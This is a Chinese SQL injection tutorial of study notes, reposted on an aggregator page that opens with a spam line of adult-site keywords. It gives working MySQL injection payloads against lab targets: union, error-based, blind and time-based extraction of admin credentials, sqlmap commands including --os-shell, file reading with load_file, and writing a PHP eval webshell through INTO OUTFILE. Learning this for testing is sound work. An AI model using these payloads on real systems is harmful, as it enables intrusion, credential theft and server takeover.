日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

【CyberSecurityLearning 55】SQL注入

發布時間:2025/3/15 数据库 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CyberSecurityLearning 55】SQL注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

SQL

簡介

SQL注入基礎

漏洞原理

漏洞危害

分類

MYSQL相關

@注釋

@mysql 元數據數據庫information_schema

@ mysql常用的函數與參數(★)

@邏輯運算

注入流程

SQL 注入

SQL 注入點的判斷

SQL注入注入點判斷的舉例說明

聯合查詢

* 必要條件

* 判斷字段個數

??判斷顯示位置

報錯注入

* group by 重復鍵沖突

SQL--報錯注入---group by觸發報錯的原理

SQL語句解析過程(運算順序)

* XPATH 報錯

布爾盲注

獲取數據庫名

延時注入

sqlmap(自動化注入神器)

測試

get注入

post注入

攜帶cookie 的認證

SQL 注入文件讀寫

寬字節注入

Cookie 注入

base64 注入

HTTP 頭部注入


?

SQL

簡介

SQL 結構化查詢語言,是一種特殊的編程語言,用于數據庫中的標準數據查詢語言。美國國家標準學會對SQL進行規范后,以此作為關系式數據庫管理系統的標準語言。
常見的關系型數據庫系統:MYSQL ACCESS???? MSSQL orcale
有明顯的層次結構: 庫名? |? 表名? |? 字段名? |? 字段內容
不過個中通信的數據庫系統在其實踐過程中獨對SQL規范做了某些編改和擴充。所以實際上不同的數據庫系統之間的SQL不能完全通用。
SQL注入是一種常見的Web 安全漏洞,攻擊者利用這個漏洞,可以訪問或修改數據,或者利用潛在的數據庫漏洞進行攻擊

SQL注入基礎

漏洞原理

針對SQL注入的攻擊行為可描述為通過用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序意料之外結果的攻擊行為。

其成因可歸結為以下兩個原理疊加造成:
1、程序編寫者在處理程序和數據庫交互時,使用字符串拼接的方式構造SQL語句。
2、未對用戶可控參數進行足夠的過濾便將參數內容拼接進入到SQL語句中。

*注入點可能的位置

根據SQL 注入漏洞的原理,在用戶“可控參數”中注入SQL 語法,也就是說Web 應用在獲取用戶數據的地方,只要代入數據庫查詢,都有存在SQL 注入的可能,這些地方通常包括:
@?? GET 數據
@?? POST 數據
@?? HTTP 頭部(HTTP 請求報文其他字段)
@?? Cookie 數據
??? …
?GET+POST+COOKIE也叫GPC

漏洞危害

攻擊者利用SQL注入漏洞們可以獲取數據庫中的多中信息(如:管理員后臺密碼),從而脫取數據庫中內容(脫庫)。
在特別情況下還可以修改數據庫內容或者插入內容到數據庫,如果數據庫權限分配存在問題,或者數據庫本身存在缺陷,那么攻擊者就可以通過SQL注入漏洞直接獲取webshell 或者服務器系統權限。
mof提權 | udf提權

分類

SQL注入漏洞根據不同的標準,有不同的分類。但是從數據類型分類來看,SQL注入分為數字型和字符型。

·數字型注入就是說注入點的數據,拼接到SQL語句中是以數字型出現的,即數據兩邊沒有被單引號、雙引號包括。

·字符型注入正好相反

根據注入手法分類,大致分為以下幾個類別

??? @?? UNION query SQL injection(可聯合查詢注入)?? ??? ??? 聯合查詢
??? @?? Error-based SQL injection(報錯型注入)?? ??? ??? ????????? 報錯注入
??? @?? Boolean-based blind SQL injection(布爾型注入)?? ??? 布爾盲注
??? @?? Time-based blind SQL injection(基于時間延遲注入)? 延時注入
??? @?? Stacked queries SQL injection(可多語句查詢注入)?? 堆疊查詢

MYSQL相關

本科主要使用*map 環境,既然要探討SQL 注入漏洞,需要對數據庫有所了解,此處以mysql 為例,這里只起到拋磚引玉的作用,其他環境的注入,讀者可以根據本次的思路去學習,唯一不同的只是數據庫的特性

@注釋

mysql 數據庫的注釋的大概有以下幾種

#

-- (杠杠空格)

/* … */

/*! … */ 內聯查詢

@mysql 元數據數據庫information_schema

庫名表名字段名都叫做MySQL的元數據,這些元數據代表了MySQL數據庫的結構
庫名表名字段名MySQL會把它存到一個數據庫里面,叫information_schema

information_schema數據庫中的幾個關鍵的表

@ mysql常用的函數與參數(★)

show databases; #查看數據庫

use information_schema; #轉到數據庫information_schema

show tables; #查看當前數據庫中的數據表

=??? >??? >=??? <=??? <>不等于

比較運算符

select 1<>2;

and? |? or

邏輯運算符

select 1 and 0;

version()

mysql 數據庫版本

select version();

database()

當前數據庫名

select database();

user()

用戶名

select user();

current_user()

當前用戶名

select current_user();

system_user()

系統用戶名

select system_user();

@@datadir

數據庫路徑

select @@datadir;

@@version_compile_os

操作系統版本

select @@version_compile_os;

length()

返回字符串長度

select length('ffdfs');

select length(version());

substring()

?

功能:截取字符串
這三個函數都有三個參數:

參數1、截取的字符串

參數2、截取的起始位置,從1開始(不是偏移量)

參數3、截取長度

select substring("dhffjf",2,2);

substr()

select substr("version()",2);

select substr(version(),2,10);

mid()

select mid(' select ',2,6);

left()

從左側開始去指定字符個數的字符串(從左開始取多少個字符)

select left('adc',2);

select left(version(),2);

concat()

沒有分隔符的連接字符串

select concat('a','b','c');?? #abc

concat_ws()

含有分隔符的連接字符串

select concat_ws('/','a','b','c');? # a/b/c??

group_concat()

連接一個組的字符串

select group_concat(id) from users;?? #默認以逗號分隔

ord()

返回ASCII碼

?

select ord('a');? # 97

ascii()

select ascii('a');

hex()

將字符串轉換為十六進制

select hex('a');

unhex()

hex 的反向操作

select unhex(61);

md5()

返回MD5 值

select md5('123456');

floor(x)

返回不大于x 的最大整數

?

round()

返回參數x 接近的整數

?

rand()

返回0-1 之間的隨機浮點數

select rand();

load_file()

讀取文件,并返回文件內容作為一個字符串(括號里面跟一個文件的絕對路徑)

?

sleep()

睡眠時間為指定的秒數

select sleep(5);

if(true,t,f)

if判斷(如果第一個參數是true返回第二個,否則返回第三個)

select if(true,1,0);? #1

select if(false,1,0);? #0

find_in_set()

返回字符串在字符串列表中的位置

?

benchmark()

指定語句執行的次數

?

name_const()

返回表作為結果

?

chr() chr()函數的作用是將ascii碼轉換行字符 ?

@邏輯運算

在SQL 語句中邏輯運算與(and)比或(or)的優先級要高。(not>and>or)

[ select 1=2 and 1=2 or 1=1--+ ]? # true

注入流程

由于關系型數據庫系統,具有明顯的庫/表/列/內容結構層次,所以我們通過SQL 注入漏洞獲取數據庫中信息時候,也依據這樣的順序。

首先獲取數據庫名,其次獲取表名,然后獲取列名,最后獲取數據。

SQL 注入

使用工具:御劍掃描網站后臺

火狐瀏覽器插件:Wappalyzer

御劍有自己的字典

如果一個網站存在SQL注入漏洞,我們就可以去訪問數據庫,后臺管理員的用戶名密碼也在數據庫,登錄網站后臺

SQL 注入點的判斷

@?? ?id=34??? +/- 1?? 變化id值,看有沒有變化

select * from tbName where id = $id

?

@?? ?id=35'??? 通過加單引號,判斷是字符型還是數字型

報錯:near ''' at line 1

select * from tbName where id = 35'(說明這個單引號有問題,是多余的)

@?? 測試頁面是否有布爾類型的狀態

?id=35 and 1=1

?id=35 and 1=2

select * from tbName where id=35 and 1=1

select * from tbName where id=35 and 1=2

當我們添加and1=1的時候或者and1=2的時候這兩次頁面的狀態十分相同,如果不同我們就認為它有布爾類型的狀態,如果相同就認為布爾類型狀態不存在!

(頁面是否正常跟數據庫是否報錯是兩個問題)

@?? ?id=35 and sleep(5)????? 測試是否有延時

沉睡五秒怎么看?打開F12--網絡---看時間線

再沉睡4s看看,不一樣。說明sleep會對頁面服務器的響應照成影響

口訣:(前提是有SQL注入)
如果我們頁面中id加一或減一頁面發生變化考慮聯合查詢
如果頁面沒有變化,看有沒有報錯,如果有報錯考慮報錯注入
如果沒有報錯也沒有回顯,考慮有沒有布爾類型的狀態,如果有布爾類型狀態我們考慮布爾盲注
如果以上都沒有,我們用絕招(絕境中用的招),用延時注入

SQL注入注入點判斷的舉例說明

* 說明
??? 為了演示SQL 注入的四大基本手法,我們以CMS 為例?!疽呀浽趙in7中布置好了環境】
??? [http://172.16.132.138/cms/]

* 目標
??? 通過SQL 注入漏洞獲得后臺管理員帳密并成功登錄系統。
??? 后臺地址[http://172.16.132.138/cms/admin/]
?? ?
* 四大基本手法
??? 四大基本手法包括:
??? @??? 聯合查詢
??? @??? 報錯注入
??? @??? 布爾盲注
??? @??? 延時注入
* 注入點?
??? [http://172.16.132.138/cms/show.php?id=33]

* 注入點的判斷
??? 對連接[http://172.16.132.138/cms/show.php?id=33]是否是注入點進行判斷。
??? @??? 變換id 參數
??? 當我們變換id 參數(33+1|33-1)的時候,發現同一個頁面,show.php 頁面展現出不同的新聞內容。也就是說,數據庫中的內容會回顯到網頁中來。
??? 初步判定,id 參數會帶入數據庫查詢,根據不同的id 查詢數據庫,得到不同的新聞內容。
??? 猜測后臺執行的SQL 語句大致結構為:
??? select * from tbName where id=33;

?? ?
??? @??? 單引號
??? [?id=33']

??? 執行的SQL 主語則變為
??? select * from tbName where id=33’;
??? 頁面報錯,并且報錯信息會回顯在網頁中,報錯信息如下
----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
----
??? 錯誤信息提示單引號位置出現錯誤,那么說明,SQL 語句從頭到參數33 都是正確的。也就是說,我們添加的單引號是多余的。
??? 因此,可以斷定參數33 前面沒有引號。
??? 則,此注入點(可能)為數字型注入。
??? @??? [and 1=1 ]
??? [?id=33 and 1=1 --+]
??? 可能得SQL 語句為
??? select * from tbName where id=33 and 1=1 --+

??? 頁面正常。
??? @??? [and 1=2]
??? [?id=33 and 1=2 --+]
??? 可能得SQL 語句
??? select * from tbName where id=33 and 1=2 --+

??? 頁面沒有新聞內容,并且數據庫沒有報錯。由于1=2 是恒假式,也就是查詢條件[where id=33 and 1=2 --+]恒假,這樣的SQL 語句在數據庫中執行后,沒有返回結果,沒有新聞內容。
??? 反過來看,頁面沒有新聞內容,也就是SQL 語句查詢條件為假。也就是說,我們寫的語句[and 1=2 --+],起到了將查詢條件置為假的作用。
??? 那么,可以通過構造語句來控制SQL 語句的查詢結果并且,SQL 語句查詢條件真假性,在頁面回顯中有體現。
??? @??? [and sleep(5)]
??? [?id=33 and sleep(5)]
??? 注入sleep(5) 語句,可以通過網絡時間線看到延時。

??? 說明sleep(5) 語句起到了作用
??? 綜上,此連接存在SQL 注入漏洞。(除了變化id有回顯這種方法,剩下幾個出現其中任意一個我們就認為它存在SQL注入漏洞)

聯合查詢

??? 由于數據庫中的內容會回顯到頁面中來,所以我們可以采用聯合查詢進行注入。
??? 聯合查詢就是SQL 語法中的union select? 語句。該語句會同時執行兩條select 語句,生成兩張虛擬表,然后把查詢到的結果進行拼接。
?? ?select ~~~~ union select ~~~~
??? 由于虛擬表是二維結構,聯合查詢會"縱向"拼接,兩張虛擬的表。
?? ?
?? ?實現 跨庫跨表查詢

* 必要條件

??? @??? 兩張虛擬的表具有相同的列數
??? @??? 虛擬表對應的列的數據類型相同

數字很特殊,它可以自動轉化成字符串

原來它是數字,但是我們查詢的時候是字符,我要強制拼到一塊怎么辦?
我們可以把字符編碼,這樣我們就可以用數字表示字母

* 判斷字段個數

??? 可以使用[order by] 語句來判斷當前select 語句所查詢的虛擬表的列數。
??? [order by]語句本意是按照某一列進行排序,在mysql 中可以使用數字來代替具體的列名,比如[order by 1]就是按照第一列進行排序,如果mysql 沒有找到對應的列,就會報錯[Unknown column]。我們可以依次增加數字,直到數據庫報錯。
??? [order by 1 --+]??? # 按照第一個字段排序
??? [order by 2 --+]
??? ...
??? [order by 15 --+]

??? [order by 16]

??? 得到當前虛擬表中字段個數為15

??
判斷顯示位置

??? 得到字段個數之后,可以嘗試構造聯合查詢語句。
??? 這里我們并不知道表名,根據mysql 數據庫特性,select 語句在執行的過程中,并不需要指定表名。
??? [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
?? ?[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]??

如果不能用order by判斷列數,我們可以用一個null、兩個null...試出來

select 1,2,3(發現字段名和內容都是1,2,3)


??? 頁面顯示的是第一張虛擬表的內容,那么我們可以考慮讓第一張虛擬表的查詢條件為假,則顯示第二條記錄。因此構造SQL 語句:
??? [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
或者
?? ?[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

??? 在執行SQL 語句的時候,可以考慮用火狐瀏覽器的插件hackbar。

??? 發現3 和11 會回顯到頁面中來。

* 數據庫版本

??? 我們可以將數字3 用函數[version()]代替,即可得到數據庫的版本。將11換成database()可以得到數據庫名
??? [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]

??? 數據庫版本為5.5.53。


* 當前數據庫名

??? [database()]
??? [?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

* 數據庫中的表

??? [?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+? ]?
??? 我們在頁面中盡量避免使用字符串,用函數來代替。

報錯:

考慮是不是編碼有問題(union查詢的兩個條件)

??? 數據庫報錯,考慮用[hex()] 函數將結果由字符串轉化成數字。(可以用ASCII也可以用十六進制)
??? [?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]

??? 得到十六進制編碼后的字符串
----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----
??? 再進行十六進制解碼(用burpsuite)【Decoder----decode as ASCII hex】


----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
??? 管理員帳密有可能保存在cms_users 表中。
* 查詢表中字段

?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'--+

cms_users作為字符串出現我們要加單引號,但是我們要避免單引號的使用,把cms_users轉換為十六進制(選擇后用hackbar---Encoding---Hex Encode--前面加0x表示十六進制)

----
7573657269642C757365726E616D652C70617373776F7264
----

去解碼:
----
userid,username,password
----
* 字段內容

??? 查詢表中記錄數
??? [?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]

??? cms_users 表中只有一條記錄。
?? ?
??? 查詢字段內容
??? [?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]

----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----
----
admin:e10adc3949ba59abbe56e057f20f883e
----
??? 得到的是后臺管理員帳密,但是密碼是以密文的方式保存在數據庫中的。通過觀察密文可知,此密文為MD5 密文。可以在線查詢,網址為
??? [https://www.cmd5.com/],可以忽略加密類型。
----
admin:123456
----
??? 通過網站后臺登錄系統

報錯注入

??? 在注入點的判斷過程中,發現數據庫中SQL 語句的報錯信息,會顯示在頁面中,因此可以進行報錯注入。
??? 報錯注入的原理,就是在錯誤信息中執行SQL 語句。觸發報錯的方式很多,具體細節也不盡相同。此處建議直接背公式即可。

select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;
語句中的as是給concat(left(rand(),3),'^',(select version()),'^')起別名x,方便后面的聚合操作。此處as可以省略,直接寫x即可:
select concat(left(rand(),3),'^',(select version()),'^') x,count(*) from information_schema.tables group by x;

如果關鍵的表被禁用了,可以采用如下語句://自己構造一個表

select? concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1) a group by x;

如果rand()函數或者count()函數被禁用了,可以用如下方式:

select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);

不依賴額外的函數和具體的表

select min(@a:=1) from (select 1 union select null union select !1) a group by concat('^',@@version,'^',@a:=(@a+1)%2);

注意:此種方法有可能成功,也可能不成功

* group by 重復鍵沖突

??? [?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
??? [?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]

group by的報錯實際上是MySQL一個天生的缺陷
我們現行的版本,只要是MySQL,只要是有報錯信息,用這種方法注入是最穩妥的方式,因為它是MySQL天生的

SQL--報錯注入---group by觸發報錯的原理

@創建數據庫,并寫入數據;

mysql> create database groupbyTest;
Query OK, 1 row affected (0.00 sec)

mysql> use groupbyTest;
Database changed
mysql> show tables;
Empty set (0.01 sec)

mysql> create table r1 (a int);
Query OK, 0 rows affected (0.02 sec)

mysql> insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
Query OK, 14 rows affected (0.01 sec)
Records: 14? Duplicates: 0? Warnings: 0

@簡單的查詢

mysql> select * from r1;
+------+
| a??? |
+------+
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
+------+
14 rows in set (0.00 sec)

mysql> select count(*) from r1;?? //查詢r1表有多少條記錄
+----------+
| count(*) |
+----------+
|?????? 14?? |
+----------+
1 row in set (0.00 sec)

mysql> select count(*) from r1 group by a;
+----------+
| count(*) |
+----------+
|??????? 7 |
|??????? 7 |
+----------+
2 rows in set (0.00 sec)

mysql> select count(*) from r1 group by "1";
+----------+
| count(*) |
+----------+
|?????? 14 ? |
+----------+
1 row in set (0.00 sec)

rand()是0-1中的隨機數,一般都是小數

mysql> select left(rand(),3),a from r1 group by 1;? // group by 1表示按照第一個字段進行分類聚合
+----------------+------+
| left(rand(),3) | a??? |
+----------------+------+
| 0.0?????????? ? ? |??? 2 |
| 0.1?????????????? |??? 1 |
| 0.2?????????????? | ?? 1 |
| 0.3?????????????? |??? 2 |
| 0.5?????????????? |??? 1 |
| 0.6?????????????? |??? 2 |
| 0.7?????????????? |??? 1 |
| 0.8?????????????? |??? 1 |
+----------------+------+
8 rows in set (0.00 sec)

由于rand函數每次執行的結果都是不一樣的

select left(rand(),3),a,count(*) from r1 group by 1
此處引入count()函數,產生group by重復鍵沖突報錯

//每次執行都報錯,而且報的還不一樣

mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.2' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.0' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.6' for key 'group_key'
mysql>

分析:先執行from 再執行group by(group by1 的時候rand()函數也會執行),然后要執行select語句,left(rand(),3)這個子句會運行
這時候就會產生一個矛盾。group by是隨機的,很大概率,我們group by在執行運算rand()的時候跟我們select在執行運算rand的時候,兩次rand的值不一樣(大概率),所以會參生重復鍵沖突問題

@其他語句

select? round(rand(),1),a,count(*) from r1 group by 1;?? //round(x)? 返回參數x最接近的整數

mysql> select? round(rand(),1),a,count(*) from r1 group by 1;? //也會有重復鍵的錯誤,group by 1就是按照round(rand(),1)字段分類
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'

mysql> select a,count(*) from r1 group by round(rand(),1);
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'

mysql> select floor(rand()*2),a,count(*) from r1 group by 1;? //floor(x)返回不大于x的最大整數(向下取整)//是有成功率的
+-------------------+-----+-----------+
| floor(rand()*2) |? a?? | count(*) |
+-----------------+------+----------+
|?????????????? 0 ? ? |??? 1 ? |??????? 7 ? |
|?????????????? 1???? |??? 1 ? |??????? 7?? |
+-----------------+------+----------+
2 rows in set (0.00 sec)

mysql> select floor(rand()*2),a,count(*) from r1 group by 1;?? //第二次執行就報重復鍵錯誤
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

SQL語句解析過程(運算順序)

# FROM

from 后面的表標識了這條語句要查詢的數據源。
from過程之后會形成一個虛擬表VT1。

# WHERE

where對VT1過程中生成的臨時表進行過濾,滿足where子句的列被插到VT2中。

# GROUP BY

group by會把VT2生成的表按照group by中的列進行分組,生成VT3。

# HAVING

having? 這個子句對VT3表中的不同分組進行過濾,滿足having條件的子句被加到VT4表中。

# SELECT

select這個子句對select子句中的元素進行處理,生成VT5表。
—? 計算表達式,計算select子句的表達式,生成VT5-1
—? DISTINCT尋找VT5-1表中重復的列,并刪掉,生成VT5-2
—? TOP從order by子句定義的結果中,篩選出符合條件的列,生成VT5-3

# GROUP BY從VT5-3中的表,根據order by子句的結果進行排序,生成VT6

* XPATH 報錯

??? @??? extractalue()
??? [?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]

??? @??? updatexml()
??? [?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]

低版本是不支持XPATH報錯的(MySQL5.0以下的版本,那就用group by)

?

?

布爾盲注

* 原理

利用頁面返回的布爾類型狀態,正?;蛘卟徽?/p>

獲取數據庫名

@ 數據庫名長度

[… and length(database())=1--+]

?

[… and length(database())=3--+](夾逼準則/二分法)

@ 數據庫名

[… and ascii(substr(database(),1,1))=99--+]

由此可知數據庫名的第一個字母的ASCII 碼是99,即字母C

?

延時注入

利用sleep() 語句的延時性,以時間線作為判斷條件

獲取數據庫名

@ 獲取數據庫名長度

[.. and if((length(database())=3),sleep(5),1)--+]

@ 數據庫名第二位

[.. and if((ascii(substr(database(),2,1,)=109),sleep(5),1)]

口訣(前提是SQL漏洞存在)

判斷是否有回顯?????????? 聯合查詢

是否有報錯????????????????? 報錯注入

是否有布爾類型狀態??? 布爾盲注(既沒有回顯也沒有報錯)

絕招????????????????????????????? 延時注入

sqlmap(自動化注入神器)

sqlmap -h可以看參數

測試

參數1、-u 后加url 檢測注入點

?python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"

2、--dbs? 列出所有數據庫的名字

python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"? --dbs

3、--current-db? 列出當前數據庫的名字

python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"? --current-db

4、-D? 指定一個數據庫

5、--tables? 列出表名

python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33" -D "cms" --tables

6、-T 指定表名

7、--columns? 列出所有的字段名

8、-C? 指定字段

9、--dump? 列出字段內容

有些地方sqlmap是弄不出來的,只能手動注入

get注入

-u "url"

檢測注入點

--dbs

列出所有數據庫的名字

--current-db

列出當前數據的名

-D

指定一個數據庫

--tables

列出表名

-T

指定表名

--columns

列出所有字段名

-C

指定字段

--dump

列出字段內容

?

post注入

打開cms用戶登錄界面,burp抓個包,保存到post.txt

-r post.txt

從文件中讀入http請求

--os-shell

獲取shell

sqlmap -g "inurl:php?id="

利用google 自動搜索注入點

sqlmap -r post.txt?? 自動讀取我們http數據報做注入測試

?

攜帶cookie 的認證

要測試的頁面只有在登錄狀態下才能訪問,登錄狀態用cookie識別

--cookie ""


?

SQL 注入文件讀寫

讀寫文件
* 前提條件??? ?
??? 我們也可以利用SQL 注入漏洞讀寫文件。但是讀寫文件需要一定的條件。
??? 1. secure-file-priv(是mysql數據庫中的一個選項,可以在phpmyadmin中看到該變量)
??? 可以在phpmyadmin 中看到該變量。(phpmyadmin---變量---secure-file-priv)

??? 該參數在高版本的mysql 數據庫中限制了文件的導入導出操作。改參數可以寫在my.ini 配置文件中[mysqld] 下。若要配置此參數,需要修改my.ini 配置文件,并重啟mysql 服務。

?
??? 關于該參數值的相關說明

secure-file-priv 參數配置?? ??? ?含義
secure-file-priv=?? ??? ??? ??? ???? 不對mysqld的導入導出操作做限制
secure-file-priv='c:/a/'?? ??? ? ?? 限制mysqld 的導入導出操作發生在c:/a/ 下(子目錄有效)?? ??? ??? ??? ??? ??? ??? ????
secure-file-priv=null?? ??? ??? ?限制mysqld 不允許導入導出操作

打開my.ini, 在[mysqld]下寫:寫完后保存重啟

mysql的導入導出操作(導入就是寫文件,導出就是讀取文件)
?
??? 2. 當前用戶具有文件權限

?查詢語句[select File_priv from mysql.user where user="root" and host="localhost"]


? 3. 知道要寫入目標文件的絕對路徑
?
* 讀取文件操作(load_flie(要讀取文件的路徑))

??? [?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+ ](假設我們讀取C:\Windows\System32\drivers\etc\hosts)
?? ?load_file('')
?? ?C:\\Windows\\System32\\drivers\\etc\\hosts(寫法1)
?? ?C:/Windows/System32/drivers/etc/hosts(寫法2,用左斜線)
linux系統當中我們路徑用做斜線來分隔,windows系統中我們用右斜線來分隔,但是右斜線會作為轉移字符出現
上面兩種寫法選哪一種都可以

?? 應用:打開http://42.192.43.56/cms/show.php?id=33

打開hacker bar---load URL后split URL
打開SQL---Union---union select statement---輸入15

??

id=-33 發現11這個位置有選項,我們直接http://42.192.43.56/cms/show.php?id=-33 UNION SELECT 1,2, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),4,5,6,7,8,9,10,11,12,13,14,15


* 寫入文件操作(into outfile)

??? [?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php'--+],直接傳入參數,頁面如果不報錯,說明寫入成功??梢灾苯釉L問寫入的文件[http://localhost/1.php]

?? ?into outfile

可以寫入一句話木馬或者是phpinfo()

?

寬字節注入

??? 寬字節注入準確來說不是注入手法,而是另外一種比較特殊的情況。為了說明寬字節注入問題,我們以SQLi-labs 32 關為例子。

??? 使用[?id=1']進行測試的時候,發現提交的單引號會被轉移[\']。此時,轉義后的單引號不再是字符串的標識,會被作為普通字符帶入數據庫查詢。也就是說,我們提交的單引號不會影響到原來SQL 語句的結構。
?
??? 我們通過閱讀32 關的源碼,發現幾句非常意思的代碼,如下。

??? 此網頁在連接數據庫時,會將字符編碼設置為GBK 編碼集合,然后進行SQL 語句拼接,最后進行數據庫查詢。
??? GBK編碼依然采用雙字節編碼方案,其編碼范圍:8140-FEFE,剔除xx7F碼位,共23940個碼位。共收錄漢字和圖形符號21886個,其中漢字(包括部首和構件)21003個,圖形符號883個。GBK編碼支持國際標準ISO/IEC10646-1和國家標準GB13000-1中的全部中日韓漢字,并包含了BIG5編碼中的所有漢字。GBK編碼方案于1995年12月15日正式發布,這一版的GBK規范為1.0版。
??? 轉移字符[\] 的編碼是5c,正好在GBK 編碼范圍之內,也就是說我們可以在單引號之前提交一個十六進制編碼的字符,與5c 組成一個GBK 編碼的漢字。這樣SQL 語句傳入數據庫的時候,轉移字符5c ,會被看作GBK 漢字的低位字節編碼,從而失去轉義的作用。

??? 如果我們提交這樣的參數[?id=1000%df' union select 1,2,3 --+],就可以使用聯合查詢進行注入了。
??? (轉移失效了,單引號會作為控制字符出現)
??? 0xdf5c 就是一個漢字"運"。(右斜線是5c)

先試一下id=1,id=2? ——》頁面不一樣(可以采用聯合查詢)
判斷注入點的時候添加一個單引號

再用雙引號試試看,發現不管是單引號還是雙引號都會被轉義

我們要想辦法讓轉義失效,我們可以提交[?id=1000%df' union select 1,2,3 --+],

如果我們?id=1%df'

我們--+看看(沒報錯):由于這個地方手動添加了一個單引號,我們--+就要注釋原來SQL語句中的引號,達到閉合狀態
現在就可以判斷列數...

我們想讓1,2,3顯示到頁面中來,我們就用 and 1=2,或者id=-1,得知2,3是回顯位

寬字節注入就是由于我們程序在編譯時設置了set name gbk,把編碼格式設置為GBK,并且我們提交的數據會有一個右斜線的單引號的轉義
這時候提交%df,就可以去“吃掉”轉義字符,使我們單引號生效,達到注入的目的

?

Cookie 注入

??? 我們使用SQLi-labs 第20 關來說明Cookie 注入問題。
??? Cookie 注入的注入參數需要通過Cookie 提交,可以通過[document.cookie] 在控制臺完成對瀏覽器Cookie 的讀寫。
??? 來到less-20,在控制臺輸入
??? [document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"]
??? 刷新頁面即可。

我們進行cookie注入的時候用burpsuite比較好
先掛個代理

打開burp


?然后我們輸入
username:Dumb
password:Dumb

抓個包

我們分析一下登錄之前和登錄之后有什么區別(在repeater模塊中右鍵發送到comparer模塊,兩個都發)【登錄前后都抓個包】

base64 注入

base64不是加密方式,是一種編碼方式

??? 我們以SQLI-labs 第22關來說明base64 注入的問題。
??? base64 注入也是比較簡單的,只不過將注入字段經過base64 編碼。經過測試,發現22 關屬于Cookie 型的base64 注入。我們可以使用報錯注入手法,payload
??? [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
??? 在控制臺輸入???????
[document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]。
??? 刷新瀏覽器網頁即可。

?

HTTP 頭部注入

??? http 頭部注入就是指注入字段在HTTP 頭部的字段中,這些字段通常有User-Agent、Referer 等。
* User-Agent 注入
??? 如SQLi-labs 第18 關。
??? payload
??? [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]?


?
* Referer 注入?? ?
??? 第19 關,注入字段在Referer 中
??? [hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]

?

?

?

?

總結

以上是生活随笔為你收集整理的【CyberSecurityLearning 55】SQL注入的全部內容,希望文章能夠幫你解決所遇到的問題。

